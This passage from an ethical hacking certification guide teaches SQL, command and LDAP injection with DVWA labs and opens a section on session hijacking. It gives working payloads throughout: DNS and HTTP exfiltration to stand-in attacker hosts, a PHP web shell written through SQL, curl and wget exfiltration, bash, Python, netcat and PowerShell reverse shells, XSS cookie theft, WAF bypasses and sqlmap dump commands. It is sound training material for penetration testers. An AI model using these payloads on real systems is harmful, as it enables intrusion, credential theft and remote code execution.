Time-based injection is used when the application produces identical responses regardless of whether the injected condition is true or false — even error messages are suppressed. The only channel remaining is time.

By injecting a conditional time delay, the attacker can observe whether a condition is true (delay occurs) or false (no delay). The information is encoded in the response time.

-- MySQL: Is the first character of the database name 'w'?
1 AND IF(SUBSTRING(database(), 1, 1) = 'w', SLEEP(5), 0)--

-- If the response takes 5+ seconds to arrive: the first character is 'w' (true)
-- If the response arrives immediately: false, try next character

Database-specific sleep functions:

-- MySQL / MariaDB
SLEEP(5)                        -- pause 5 seconds

-- Microsoft SQL Server
WAITFOR DELAY '0:0:5'          -- pause 5 seconds

-- Oracle
dbms_pipe.receive_message(('a'),5)  -- pause 5 seconds (requires privileges)
-- or: execute 'begin DBMS_LOCK.sleep(5); end;'

-- PostgreSQL
pg_sleep(5)                    -- pause 5 seconds
SELECT 1 FROM pg_sleep(5)

Time-based injection is the slowest and most unreliable method — network latency affects timing, server load can cause natural delays, and extracting even a single table name requires hundreds of requests. But it is often the only option against hardened applications that suppress all output. This is where sqlmap's time-based blind mode becomes essential.

Out-of-Band SQL Injection — Using DNS as a Data Channel

Out-of-band injection uses the database server's ability to make outbound network connections to exfiltrate data. Instead of reading data from the HTTP response, the database server sends data to an attacker-controlled DNS resolver or HTTP server.

This is particularly useful when:

The application does not display query results (like blind)
Time-based methods are unreliable due to network conditions
The database server has outbound internet access

-- MySQL: Extract database name via DNS lookup
-- The database name is embedded in a DNS query to attacker's domain
' UNION SELECT LOAD_FILE(CONCAT('\\\\', (SELECT database()), '.attacker-collaborator.com\\share'))--

-- Microsoft SQL Server: DNS exfiltration
'; exec master..xp_dirtree CONCAT('\\\\', (SELECT DB_NAME()), '.attacker-collaborator.com\\a')--

-- Oracle: HTTP exfiltration  
' UNION SELECT UTL_HTTP.request('http://attacker-collaborator.com/'||(SELECT user FROM dual)) FROM dual--

The attacker monitors their DNS server or Burp Suite's Collaborator service for incoming queries. When the DNS query webshop.attacker-collaborator.com arrives, the subdomain webshop reveals the database name.

Beyond Data Extraction — Reading and Writing Files

Some SQL injection vulnerabilities provide capabilities far beyond data reading. MySQL's LOAD_FILE() and INTO OUTFILE functions allow reading and writing the filesystem — when the database user has the required privileges.

-- Read a file from the server filesystem (requires FILE privilege):
' UNION SELECT NULL, LOAD_FILE('/etc/passwd'), NULL--
-- Returns the contents of /etc/passwd if accessible by the MySQL user

-- Write a web shell to the server (requires FILE privilege and write access to web root):
' UNION SELECT NULL, '<?php system($_GET["cmd"]); ?>', NULL INTO OUTFILE '/var/www/html/shell.php'--
-- Creates a PHP web shell at /shell.php
-- Access: http://target.com/shell.php?cmd=id

If successful, file writing via SQL injection results in remote code execution — the most severe possible outcome. Whether this is possible depends on:

The MySQL user having FILE privilege
The secure_file_priv variable being configured to allow writes
The MySQL user having write permission on the web root directory

Identifying SQL Injection — The Detection Methodology

Before exploiting, you must identify which parameters are injectable. The process is systematic:

Step 1: Find all input points

Every place the application accepts user input is a potential injection point:

URL parameters: ?category=phones&sort=price
POST body parameters: form fields, JSON values, XML elements
HTTP headers: User-Agent, X-Forwarded-For, Cookie, Referer (less common but real)
JSON body fields in REST APIs
GraphQL query parameters

Step 2: Send detection payloads

For each input parameter, send payloads that would cause a detectable change if the parameter is used in a SQL query:

# Single quote — causes SQL syntax error if vulnerable
'

# Double quote — for double-quoted strings  
"

# Comment sequences — truncate query if vulnerable
--
#
/*

# Boolean conditions — change page content if vulnerable
' AND '1'='1       (always true — should return normal results)
' AND '1'='2       (always false — should return empty/different results)

# Numeric comparison (for numeric parameters)
1 AND 1=1          (true)
1 AND 1=2          (false)

# Time-based detection (when no visible difference)
'; SELECT SLEEP(5);--    (MySQL)
'; WAITFOR DELAY '0:0:5'--  (MSSQL)

Step 3: Observe and compare responses

Three types of evidence indicate SQL injection:

Error messages: "You have an error in your SQL syntax..." — definitive SQL injection
Different responses: Normal page for true condition, empty page or error for false condition — boolean blind
Time delays: Response takes exactly 5 seconds for SLEEP(5) payload — time-based blind

Step 4: Identify the database type

Different databases have different syntax. Identifying the database type early allows using the correct payloads:

-- Version query varies by database:
MySQL:     SELECT version()          -- returns "8.0.33"
MSSQL:     SELECT @@version          -- returns "Microsoft SQL Server..."
Oracle:    SELECT v$version FROM DUAL
PostgreSQL: SELECT version()

-- Comment syntax varies:
MySQL:     --  or #
MSSQL:     --  (space required after --)
Oracle:    --
PostgreSQL: --

SQLmap — Automated SQL Injection

SQLmap is the standard automated tool for SQL injection detection and exploitation. It implements all SQL injection types, automatically detects the database type, and can extract the entire database with a single command.

# Basic test — check if a URL parameter is injectable
sqlmap -u "http://target.com/products?id=1"

# Test a specific parameter
sqlmap -u "http://target.com/search?q=phones&category=all" -p q

# Test a POST request (save request from Burp as a file first)
sqlmap -r burp_request.txt

# Test POST with specific parameter
sqlmap -u "http://target.com/login" --data="username=admin&password=test" -p username

# Include cookie for authenticated testing
sqlmap -u "http://target.com/account?id=1" --cookie="session=7f3a9b2c"

# Use with Burp proxy (to see sqlmap's requests in Burp)
sqlmap -u "http://target.com/products?id=1" --proxy=http://127.0.0.1:8080

# Enumerate databases
sqlmap -u "http://target.com/products?id=1" --dbs

# Enumerate tables in a specific database
sqlmap -u "http://target.com/products?id=1" -D webshop --tables

# Enumerate columns in a specific table
sqlmap -u "http://target.com/products?id=1" -D webshop -T users --columns

# Dump all data from a table
sqlmap -u "http://target.com/products?id=1" -D webshop -T users --dump

# Dump everything (all databases)
sqlmap -u "http://target.com/products?id=1" --dump-all

# Test for file read/write capabilities
sqlmap -u "http://target.com/products?id=1" --file-read="/etc/passwd"
sqlmap -u "http://target.com/products?id=1" --file-write="shell.php" --file-dest="/var/www/html/shell.php"

# Attempt OS shell (if FILE privilege and write access available)
sqlmap -u "http://target.com/products?id=1" --os-shell

# Stealth options (slower but less detectable)
sqlmap -u "http://target.com/products?id=1" --dbs --level=3 --risk=2 --delay=2

# Specify database type for faster exploitation
sqlmap -u "http://target.com/products?id=1" --dbms=mysql --dbs

SQLmap options explained:

--level (1-5): Controls how many tests are run. Level 1 tests the most common parameters. Level 5 tests everything including HTTP headers.

--risk (1-3): Controls how potentially disruptive the tests are. Risk 1 is safe for production. Risk 3 includes UPDATE-based tests that could modify data.

--delay: Seconds to wait between requests. Reduces speed but avoids rate limiting and IDS detection.

--tamper: Apply tamper scripts to obfuscate payloads and bypass WAFs. For example --tamper=space2comment replaces spaces with comments to bypass simple keyword filters.

--technique: Restrict to specific injection types (B=Boolean, E=Error, U=UNION, S=Stacked, T=Time, Q=Out-of-band).

SQL Injection Filter Bypass Techniques

Real applications often have input validation, WAFs, or other defenses. These are bypassable in most cases.

-- Bypassing keyword filters that block 'SELECT' 'UNION' etc:

-- Case variation (SQL is case-insensitive):
SeLeCt, UnIoN, sElEcT

-- Comment insertion (MySQL ignores /**/ comments inline):
UN/**/ION SEL/**/ECT

-- Double URL encoding (%27 = ', %2527 = %27 after server decodes):
%2527 → first decode: %27 → second decode: '

-- MySQL allows inline comments with version hints:
/*!UNION*/ /*!SELECT*/

-- Hex encoding strings to avoid quote filtering:
-- Instead of 'users', use 0x7573657273 (hex for 'users')
' UNION SELECT 0x7573657273--

-- Whitespace alternatives (MySQL treats these as whitespace):
Tab: %09
Newline: %0a  
Carriage return: %0d
Form feed: %0c
Vertical tab: %0b

-- Plus signs for spaces in URL contexts:
' UNION+SELECT+NULL--

-- Bypassing OR/AND filters using && and ||:
' || 1=1--        (equivalent to OR)
' && 1=1--        (equivalent to AND)

6.4.3 Practice — SQL Injection Attacks Step by Step

Manual SQL Injection Against DVWA

With DVWA running (security level: Low), navigate to the SQL Injection module. The page shows a field labeled "User ID" that queries the users table and displays the user's details.

Phase 1 — Confirm Injection

Enter 1' (one followed by a single quote). The application returns a MySQL error. This confirms the input is being concatenated directly into a SQL query.

Phase 2 — Determine Column Count

Enter 1 ORDER BY 1-- — displays result normally.
Enter 1 ORDER BY 2-- — displays result normally.
Enter 1 ORDER BY 3-- — shows error "Unknown column '3' in order clause."

The original query has exactly 2 columns.

Phase 3 — Identify Display Columns

Enter ' UNION SELECT NULL, NULL-- — no error, confirms 2 columns. Now identify which ones display on the page:

Enter ' UNION SELECT 'COLUMN1_TEST', NULL-- — observe if "COLUMN1_TEST" appears in the response.
Enter ' UNION SELECT NULL, 'COLUMN2_TEST'-- — observe if "COLUMN2_TEST" appears.

Both columns are displayed in DVWA's output (First Name and Surname fields).

Phase 4 — Extract Database Information

-- Database version:
' UNION SELECT NULL, version()--

-- Current database name:
' UNION SELECT NULL, database()--

-- MySQL user (shows privilege level):
' UNION SELECT NULL, user()--

-- List all databases:
' UNION SELECT NULL, schema_name FROM information_schema.schemata--

-- List all tables in current database (dvwa):
' UNION SELECT NULL, table_name FROM information_schema.tables WHERE table_schema='dvwa'--

-- List columns in users table:
' UNION SELECT NULL, column_name FROM information_schema.columns WHERE table_name='users'--

-- Extract all usernames and passwords:
' UNION SELECT user, password FROM users--

The password field in DVWA contains MD5 hashes. After extracting them, crack with hashcat:

hashcat -m 0 dvwa_hashes.txt /usr/share/wordlists/rockyou.txt
# Most DVWA passwords crack quickly: admin:password, gordonb:abc123, etc.

Using SQLmap Against DVWA

After confirming the injection manually, use sqlmap for automated extraction:

# In DVWA, get your session cookie from Burp or browser DevTools
# (look for PHPSESSID in the Application tab → Cookies)

# Run sqlmap with your session cookie:
sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
  --cookie="PHPSESSID=your_session_id; security=low" \
  --dbs

# Dump the users table:
sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
  --cookie="PHPSESSID=your_session_id; security=low" \
  -D dvwa -T users --dump

Progressing Through Security Levels

Once you have mastered Low, change DVWA's security level to Medium. The application now uses parameterized queries on some inputs but sanitizes in ways that are bypassable. Read the source code (available via the "View Source" button in DVWA) to understand what defense is applied and how to bypass it.

High level adds additional server-side filtering. Each level teaches you something new about defense implementation and bypass methodology.

6.4.4 Command Injection Vulnerabilities

The Concept — When the Server Runs Your Commands

Command injection occurs when user-controlled input is passed to an operating system command execution function without proper sanitization. The application builds a shell command by concatenating user input, and the operating system shell then executes the entire string — user input and all.

The shell interprets special characters as command separators, allowing multiple commands to be executed in sequence. Common shell metacharacters:

Character	Behavior	Example
`;`	Execute next command unconditionally	`ping host; id`
`&&`	Execute next command only if first succeeds	`ping host && id`
`\	\	`
`\	`	Pipe output of first command to second
`	Execute and substitute output (backticks)	`echo \`id``
`$(...)`	Execute and substitute output	`echo $(id)`
`>`	Redirect output to file	`id > /tmp/out.txt`
`<`	Read input from file	`mail < /etc/passwd`
`&`	Run command in background	`payload &`
`\n`	Newline — new command	`cmd\nid`

Vulnerable Code Examples — Recognizing the Pattern

Command injection happens when developers use shell execution functions with unsanitized user input. Recognizing these patterns in source code is how you identify injection points during code review.

PHP:
`php
// VULNERABLE — user input directly in shell command
$hostname = $_GET['host'];
$output = shell_exec("ping -c 3 $hostname");

// Also vulnerable:
system("nslookup $hostname");
exec("traceroute $hostname");
passthru("nmap $hostname");
popen("dig $hostname", 'r');

// SECURE — use escapeshellarg() to prevent injection:
$hostname = escapeshellarg($_GET['host']);
$output = shell_exec("ping -c 3 $hostname");
`

Python:
`python

VULNERABLE

import os
hostname = request.form['host']
output = os.system(f"ping -c 3 {hostname}")

Also vulnerable:

subprocess.call(f"nmap {hostname}", shell=True) # shell=True is the problem

SECURE — use subprocess with list argument (no shell interpretation):

subprocess.call(["nmap", hostname]) # shell=False (default) — no injection possible
`

Node.js:
`javascript
// VULNERABLE
const { exec } = require('child_process');
exec(ping -c 3 ${req.body.host}, (err, stdout) => { ... });

// SECURE — use spawn with argument list:
const { spawn } = require('child_process');
spawn('ping', ['-c', '3', req.body.host]);
`

Finding Command Injection Points

Look for any feature that suggests a system-level operation happening based on user input:

Network diagnostics: "Ping this host", "Traceroute this IP", "DNS lookup", "Port check"
File operations: Converting uploaded files, generating PDFs from user content, image resizing
Email functionality: Sending emails using system mail utilities
System administration UI: Server management panels, cPanel, WHM
Logging and monitoring: Log analysis tools that run system commands with user-supplied filters
API gateways: Proxy functionality that executes commands based on API calls

When you find such functionality, the detection methodology is to inject command separators and observe the response.

Basic Injection Payloads

`bash

On Linux/Unix — injection with semicolon:

; id
; whoami
; uname -a
; cat /etc/passwd

On Windows — injection with ampersand:

& whoami
& ipconfig /all
& type C:\Windows\System32\drivers\etc\hosts

On both platforms — injection with pipe:

| id
| whoami

Newline injection (useful when semicolon is filtered):

%0a id # URL-encoded newline
%0a whoami

Subshell injection:

$(id)
id

If spaces are filtered — use ${IFS} (Internal Field Separator):

;cat${IFS}/etc/passwd
;id${IFS}
`

Blind Command Injection — When No Output Is Returned

The most common form of command injection is blind — the application executes your command but does not display the output in the response. Detection and exploitation require different techniques.

Detection using time delays:

`bash

Linux: sleep for 5 seconds — if response takes 5+ seconds, injection confirmed

; sleep 5
| sleep 5
$(sleep 5)
sleep 5

Windows: ping loopback 5 times (each ping ~1 second = 5 second delay)

& ping -n 5 127.0.0.1
`

Data exfiltration using out-of-band channels:

When you cannot see command output, use the server's network connectivity to send data to yourself:

`bash

HTTP callback — send command output to your server via curl:

; curl http://attacker-ip:4444/$(id)
; curl -X POST http://attacker-ip:4444/ -d "$(cat /etc/passwd)"
; wget http://attacker-ip:4444/?data=$(whoami)

DNS exfiltration — embed output in DNS lookup:

; nslookup $(whoami).attacker-domain.com
; host $(cat /etc/hostname).attacker-domain.com

Set up a listener on your attack machine:

Terminal 1 — HTTP listener:

python3 -m http.server 4444

or

nc -lvnp 4444

Terminal 2 — Watch for incoming requests/connections

Use Burp Suite's Collaborator (Burp → Burp Collaborator client → Copy to clipboard) to get a unique URL/domain that records all DNS queries and HTTP requests made to it. This is more reliable than your own server for detecting out-of-band callbacks.

Writing command output to a readable file:

If the injection is in a web application and the web root is writable:

`bash

Write output to a file accessible via HTTP:

; id > /var/www/html/output.txt
; cat /etc/passwd > /var/www/html/passwd.txt

Then read it:

http://target.com/output.txt

http://target.com/passwd.txt

Escalating to a Reverse Shell

Command injection typically provides blind RCE (Remote Code Execution). To get an interactive session, escalate to a reverse shell:

Step 1: Set up your listener on the attack machine
`bash

On Kali Linux:

nc -lvnp 4444

or for more stability:

nc -lvnp 4444

or with rlwrap for arrow keys and history:

rlwrap nc -lvnp 4444
`

Step 2: Inject the reverse shell payload

`bash

Bash reverse shell (most reliable on Linux):

; bash -i >& /dev/tcp/attacker-ip/4444 0>&1

URL-encoded version (for injection via URL parameter):

; bash+-i+>%26+/dev/tcp/attacker-ip/4444+0>%261

Python reverse shell (works when bash is unavailable):

; python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("attacker-ip",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

Netcat reverse shell (if nc is available on target):

; nc attacker-ip 4444 -e /bin/bash

PowerShell reverse shell (Windows targets):

& powershell -c "$c=New-Object Net.Sockets.TCPClient('attacker-ip',4444);$s=$c.GetStream();[byte[]]$b=0..65535;while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$sb=(iex $d 2>&1|Out-String);$sb2=$sb+'PS '+(pwd).Path+'> ';$r=[text.encoding]::ASCII.GetBytes($sb2);$s.Write($r,0,$r.Length)}"
`

Upgrading a netcat shell to a fully interactive TTY:
`bash

After getting a shell via nc:

python3 -c 'import pty; pty.spawn("/bin/bash")'

Then: Ctrl+Z to background

stty raw -echo; fg

Press Enter twice

export TERM=xterm
`

6.4.5 Practice — Command Injection Step by Step

Testing on DVWA

Navigate to DVWA → Command Injection. The page has a field asking for a hostname to ping. Enter 127.0.0.1 — the application returns the output of a ping command.

Confirm injection:
Enter 127.0.0.1; id in the ping field. If command injection is present at Low security, the page displays the ping output followed by the id command output (e.g., uid=33(www-data) gid=33(www-data) groups=33(www-data)).

Information gathering:
` 127.0.0.1; uname -a # Kernel version and OS 127.0.0.1; cat /etc/passwd # User accounts 127.0.0.1; whoami # Current user 127.0.0.1; pwd # Current working directory 127.0.0.1; ls -la /var/www # Web root contents 127.0.0.1; cat /var/www/html/dvwa/config/config.inc.php # Database credentials! `

The config file discovery is particularly impactful — it contains the database credentials in plaintext, which can then be used for direct MySQL access.

Medium security bypass:
DVWA's Medium level filters && and ; but allows pipes and other separators:
` 127.0.0.1 | id 127.0.0.1 || id # Pipe followed by second pipe — different character 127.0.0.1 & id `

Check DVWA's source code to see exactly what is filtered, then find the gap.

6.4.6 LDAP Injection Vulnerabilities

What LDAP Is — Essential Context

LDAP (Lightweight Directory Access Protocol) is a protocol for accessing and maintaining distributed directory services — structured databases of hierarchical information. In corporate environments, LDAP is primarily used to provide Active Directory (AD) authentication. When you log in to a Windows domain or an enterprise application with your corporate credentials, LDAP is almost certainly involved somewhere in the authentication process.

LDAP stores information in a tree structure. Each entry has a Distinguished Name (DN) that describes its position in the tree:

` CN=John Smith,OU=Engineering,DC=targetco,DC=com `

CN — Common Name (the object's name)
OU — Organizational Unit (like a folder/department)
DC — Domain Component (the domain name split into components)

LDAP queries use a filter syntax that specifies what to search for:

` (objectClass=person) -- All persons (uid=jsmith) -- User with uid=jsmith (&(uid=jsmith)(userPassword=mypassword)) -- User with matching uid AND password (|(department=Engineering)(department=IT)) -- Engineering OR IT department members `

The & means AND (all conditions must match), | means OR (any condition must match), ! means NOT.

The Injection Mechanism

Web applications that authenticate against LDAP build query filters by concatenating user input — the same mistake made in SQL injection, applied to LDAP.

`php // VULNERABLE PHP code for LDAP authentication $username = $_POST['username']; $password = $_POST['password']; $filter = "(&(uid=$username)(userPassword=$password))"; $result = ldap_search($connection, "dc=targetco,dc=com", $filter); `

When legitimate credentials are submitted:
` Filter: (&(uid=alice)(userPassword=correct_password)) Result: finds alice's entry → authentication success `

When an attacker submits *)(uid=*))(|(uid=* as the username:
` Filter: (&(uid=*)(uid=*))(|(uid=*)(userPassword=anything)) `

This LDAP filter, despite its complexity, evaluates to "return any user where uid is anything" — bypassing the password check entirely. The attacker is authenticated as the first user returned.

Common LDAP Injection Payloads

Authentication bypass — log in as any user:

Username: )(&
Password: (anything)
-- Creates: (&(uid=)(&)(userPassword=(anything)))
-- The (*) matches everything, (&) is always true

Classic auth bypass:

Username: )(|(password=)
Password: ignored
-- Creates: (&(uid=)(|(password=))(userPassword=ignored))

Extract all users (information disclosure):

Username: *
-- If wildcard causes return of all matching entries, usernames are disclosed

Extract specific user:

Username: admin
-- Confirm admin exists by observing different response versus non-existent user

Blind injection — true/false conditions:

Username: admin)(uid=*
-- Different response if true (admin exists) versus false

Bypass input validation that filters *:

Use LDAP attribute matching: (uid=a*) matches users starting with 'a'

Blind LDAP Injection — Character-by-Character Extraction

When LDAP injection is blind (different response for true/false but no data returned), information can be extracted character by character using wildcard patterns:

Check if first character of admin's password is 'a':

Username: admin)(userPassword=a*
-- Different response than:
Username: admin)(userPassword=b*

Systematically determine the password:

Username: admin)(userPassword=a* → false (no match)
Username: admin)(userPassword=P* → true (password starts with P)
Username: admin)(userPassword=Pa* → false
Username: admin)(userPassword=Pp* → false
Username: admin)(userPassword=Pa*... → iterate through characters

This eventually reconstructs the entire password

This is slow but effective against vulnerable LDAP implementations that store passwords in retrievable form (some do, many do not).

Special LDAP Characters to Inject

The characters with special meaning in LDAP filter syntax:

` ( ) * \ NUL ← characters requiring escape in valid LDAP & | ! ← logical operators = ← attribute comparison operator `

If the application does not escape these characters in user input, all of them can be used to manipulate the filter.

LDAP Injection vs. SQL Injection — Key Differences

Aspect	SQL Injection	LDAP Injection
Comment syntax	`--`, `#`, `/**/`	None standard
Data structure	Tables/rows	Tree/attributes
Authentication bypass	`' OR 1=1--`	`)(uid=))(
Data extraction	UNION SELECT	Wildcard enumeration
Automation tooling	sqlmap (excellent)	Limited automation
Prevalence	Very common	Less common
Defenses	Parameterized queries	Escape all special chars

The fix for LDAP injection is proper input escaping before building filter strings. All special characters ((, ), *, \, null bytes) must be escaped as their LDAP escape sequences. In PHP, ldap_escape() (PHP 5.6+) provides this. In other languages, use the appropriate escaping function from your LDAP library.

6.4.7 Lab — Injection Attacks

This lab section consolidates the injection concepts into a structured practice session using DVWA and WebSploit Labs.

DVWA — Complete Injection Practice Sequence

SQL Injection (all three levels):

Low: Complete the UNION-based extraction sequence from 6.4.3. Extract all usernames, passwords, and emails. Crack the password hashes with hashcat.

Medium: Read the source code. Notice that the application uses a dropdown instead of a text field, preventing direct submission of SQL characters. But you can bypass this by intercepting the request in Burp Suite and modifying the parameter directly in the proxy — client-side controls mean nothing at the server level.

High: Read the source code again. Notice the query uses LIMIT 1 to return only one result. Bypass this by terminating the original query early and crafting a subquery that circumvents the limit.

SQL Injection (Blind):

DVWA's blind SQL injection module shows no query results — just "User ID exists" or "User ID missing." Practice boolean-based extraction to determine the administrator's password length and first three characters manually, then run sqlmap with --technique=B to automate the complete extraction.

Command Injection (all three levels):

Low: Demonstrate the full chain — detect injection, enumerate system information, extract config file credentials, establish a reverse shell.

Medium: Bypass the character filter (,, &&, ; are blocked). Use pipe characters and URL-encoded newlines.

High: The High level uses a strict allowlist — only valid IP address format is accepted. Research and find the bypass for this specific DVWA implementation. (Hint: some allowlist implementations have regex edge cases.)

Key Takeaways from This Lab

After completing these exercises, you should be able to:

Identify injection points in any web application by recognizing input parameters and testing with detection payloads
Distinguish between error-based, UNION-based, boolean blind, and time-based SQL injection and know when to use each
Understand the complete UNION-based data extraction sequence from scratch without automated tools
Recognize command injection opportunities from application features that suggest system-level operations
Extract data from blind injection vulnerabilities using time delays and out-of-band callbacks
Explain LDAP injection to a technical audience and describe its filter manipulation mechanism
Use sqlmap for automated exploitation while understanding what it is doing under the hood

These skills form the foundation for the exploitation phases in professional web application penetration tests. Every injection technique here appears in real assessments, in bug bounty programs, and in certification exams.

— Sections 6.2, 6.3, and 6.4 are complete. —

Module 6 — Sections 6.5 and 6.6

CompTIA PenTest+ / Ethical Hacking Certification Series
Professional Reference Guide — GitHub Edition
Authentication Attacks · Session Hijacking · Kerberos · Default Credentials · Authorization · IDOR · Privilege Escalation

6.5 Exploiting Authentication-Based Vulnerabilities
- 6.5.1 Overview — Authentication vs Authorization: The Distinction That Matters
- 6.5.2 Session Hijacking — Stealing Identity After Authentication
- 6.5.3 Practice — Session Hijacking Techniques
- 6.5.4 Redirect Attacks — The Open Redirect Vulnerability
- 6.5.5 Default Credentials — The Easiest Win in Security Testing
- 6.5.6 Kerberos Vulnerabilities — Breaking Windows Domain Authentication
- 6.5.7 Practice — Kerberos Attack Execution
- 6.5.8 Lab — Using Password Tools
6.6 Exploiting Authorization-Based Vulnerabilities
- 6.6.1 Overview — What Authorization Means and Why It Fails
- 6.6.2 IDOR — Insecure Direct Object Reference
- 6.6.3 Horizontal vs Vertical Privilege Escalation
- 6.6.4 Access Control Bypass Techniques
- 6.6.5 The Complete Authorization Testing Methodology

6.5 Exploiting Authentication-Based Vulnerabilities

6.5.1 Overview — Authentication vs Authorization: The Distinction That Matters

Two concepts sit at the heart of every access control system, and confusing them — as developers frequently do — leads to vulnerabilities. Understanding the precise difference is foundational.

Authentication answers the question: Who are you? It is the process of verifying that you are who you claim to be. You present a credential — a password, a fingerprint, a hardware token — and the system checks it against stored truth. If the check passes, your identity is established.

Authorization answers the question: What are you allowed to do? It is the process of deciding what actions and resources an authenticated identity is permitted to access. Being authenticated as Alice does not mean Alice can access Bob's files. Authorization determines that boundary.

These two concerns are often tightly coupled in implementation, but they are conceptually distinct. Section 6.5 covers attacks on the authentication layer — attacks that impersonate authenticated users, steal authentication tokens, exploit weak authentication mechanisms, or bypass the authentication step entirely. Section 6.6 covers attacks on the authorization layer — accessing resources or performing actions that the authenticated user is not permitted to access.

Why authentication attacks are so impactful:

Authentication is the gatekeeper to everything. A successful authentication attack does not just expose a single record or endpoint — it compromises the entire identity. An attacker who successfully hijacks an administrator's authenticated session has every permission that administrator has. Every file they can read. Every action they can perform. Every system they can access.

In 2024, the threat landscape for authentication shifted dramatically. SpyCloud researchers recovered over 17 billion stolen cookie records from the dark web — evidence of industrial-scale session token theft. Modern authentication attacks do not always need to bypass multi-factor authentication; they steal the session token that is created after MFA completes. Once an attacker has your session token, they have your identity in that application — regardless of how strong your password was or how many factors authenticated you.

This is the reality that this section addresses: authentication can be defeated not just at the front door (login) but at any point in the session lifecycle.

6.5.2 Session Hijacking — Stealing Identity After Authentication

The Core Concept

Session hijacking is the theft and reuse of a victim's valid session identifier to impersonate them in an authenticated application. The attacker does not need to know the victim's password. They do not need to bypass MFA. They simply need the session token that proves the victim already authenticated.

Think about what a session token actually is. After you prove your identity at login, the server creates a session record on its side and gives you a reference to that record — a long, random string called the session token or session ID. For every subsequent request, your browser sends this token, and the server says "ah, this token maps to Alice's authenticated session — let her in."

From the server's perspective, a request with Alice's valid session token is indistinguishable from a request coming from Alice's browser. The server cannot see whose laptop sent the request. It only sees the token. This is the fundamental reason session hijacking works: the token is the identity, and anyone with the token has the identity.

Vector 1 — Network Interception

The oldest form of session hijacking. If a web application transmits session cookies over HTTP (not HTTPS), or if cookies are set without the Secure flag and an HTTP version of the site exists, the session token travels in plaintext across the network.

In environments where the attacker is positioned on the same network segment (a corporate LAN, a public Wi-Fi network, a hotel network), they can capture this traffic with Wireshark or tcpdump. The session token appears in the Cookie: header of every request.

With the token captured, the attacker imports it into their own browser (using browser developer tools, Cookie Editor extension, or Burp Suite) and is immediately authenticated as the victim.

When this is relevant in 2024:
Most HTTPS sites correctly set Secure on session cookies, preventing this in the general case. However, network interception remains very relevant in:

Internal corporate applications that use HTTP
Applications with mixed content (main site HTTPS but some endpoints HTTP)
Old or embedded systems (OT/ICS devices, network printers, management interfaces)
Applications that have Secure flag missing on critical cookies

Prevention: HTTPS everywhere, Secure cookie flag, HSTS header to prevent downgrade attacks.

Vector 2 — XSS-Based Cookie Theft

Cross-site scripting (covered in depth in Section 6.7) is one of the primary methods for stealing session cookies in modern applications. When an XSS vulnerability allows injecting JavaScript into a page, the attacker's script can read the victim's cookies using document.cookie and send them to an attacker-controlled server.

`javascript
// Classic session cookie theft via XSS
// Injected into a vulnerable input field or stored location:

new Image().src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie);

// Or using fetch (more reliable, supports modern APIs):
fetch('https://attacker.com/steal', {
method: 'POST',
body: JSON.stringify({cookies: document.cookie, url: window.location.href}),
headers: {'Content-Type': 'application/json'}
});

// On the attacker's server (simple Python HTTP listener):

python3 -m http.server 80

Incoming request: /steal?cookie=session_id=7f3a9b2c...

The HttpOnly flag on cookies was specifically designed to prevent this. A cookie with HttpOnly is not accessible through document.cookie — JavaScript cannot read it, regardless of what JavaScript runs on the page.

However, even HttpOnly session cookies have an indirect theft vector: if the application has an XSS vulnerability, the attacker can use JavaScript to send authenticated requests from the victim's browser — not stealing the cookie itself, but using the victim's authenticated session without reading the cookie. This is sometimes called XSS-based session riding rather than session theft.

The critical check during assessment: When you find an HttpOnly cookie, the vulnerability exists but the theft method must change. Instead of reading document.cookie, use the XSS to make authenticated API requests from the victim's browser and exfiltrate the data directly.

Vector 3 — Adversary-in-the-Middle (AitM) Session Theft

This is the dominant session hijacking vector in 2024 and the technique behind some of the largest breaches. AitM attacks proxy a legitimate authentication flow — capturing the session token that is created after successful authentication, including after MFA completion.

Tools like Evilginx2 (covered in the social engineering module) sit as transparent proxies between the victim and the real service. The victim goes through the entire authentication process — username, password, MFA code — on what they believe is the real site. The AitM proxy forwards everything to the real site. When the real site creates an authenticated session and sends the session cookie to the browser, the AitM proxy captures that cookie in transit before passing it to the victim's browser.

The attacker now has the victim's fully authenticated session cookie — extracted after MFA was completed. MFA provided no protection because it was never bypassed; the session it created was captured.

`
Attack chain:

Victim receives phishing link → lands on Evilginx2 proxy domain
Evilginx2 fetches the real Microsoft 365 login page and serves it to victim
Victim enters credentials → Evilginx2 captures them and forwards to real Microsoft
Real Microsoft requests MFA → Evilginx2 relays the MFA challenge to victim
Victim completes MFA → Evilginx2 forwards to real Microsoft
Real Microsoft creates authenticated session → sends session cookie in Set-Cookie header
Evilginx2 captures the session cookie BEFORE passing it to the victim's browser
Victim sees successful login and continues normally, unaware
Attacker imports captured session cookie into their browser
Attacker is authenticated as the victim in Microsoft 365 with their full access `

This explains a 2024 finding that 87% of successful cyberattacks involved session hijacking after valid MFA logins — not because MFA was bypassed technically, but because the session it produced was intercepted.

Vector 4 — Infostealer Malware

Modern infostealer malware (Raccoon, RedLine, Vidar, Lumma, Stealc) specifically targets browser-stored cookies, including session cookies. Most browsers store cookies in a local database file (SQLite for Chrome/Firefox). Malware running with user-level privileges on an infected endpoint can read this file directly and extract all cookies.

The extracted cookies are then exfiltrated to the attacker's command-and-control server. From there, they are either used directly by the attacker or sold on dark web markets as "logs" — collections of stolen cookies for specific websites. Entire underground markets exist for buying and selling stolen authenticated sessions for corporate SaaS applications.

This is why SpyCloud found 17 billion stolen cookie records in 2024: the infostealer ecosystem operates at industrial scale, systematically harvesting credentials and sessions from compromised endpoints.

The defense implication: Session tokens stolen via infostealer malware are not mitigated by any authentication control — not passwords, not MFA, not hardware tokens. The session was legitimately created. The only protection is endpoint security (preventing malware execution) and server-side controls that make stolen sessions unusable (IP binding, device fingerprinting, short session lifetimes, anomaly detection on session use).

Practical Session Hijacking: Testing in a Lab Context

In DVWA's session management exercises or in custom lab environments, the practical test follows this pattern:

`
Step 1: Log in as Victim (User A) in Browser A
Note the session cookie from Burp Suite → Cookie: PHPSESSID=abc123...

Step 2: In Browser B (or an Incognito window), open Developer Tools
Go to Application → Cookies → Add the captured cookie:
Name: PHPSESSID
Value: abc123...
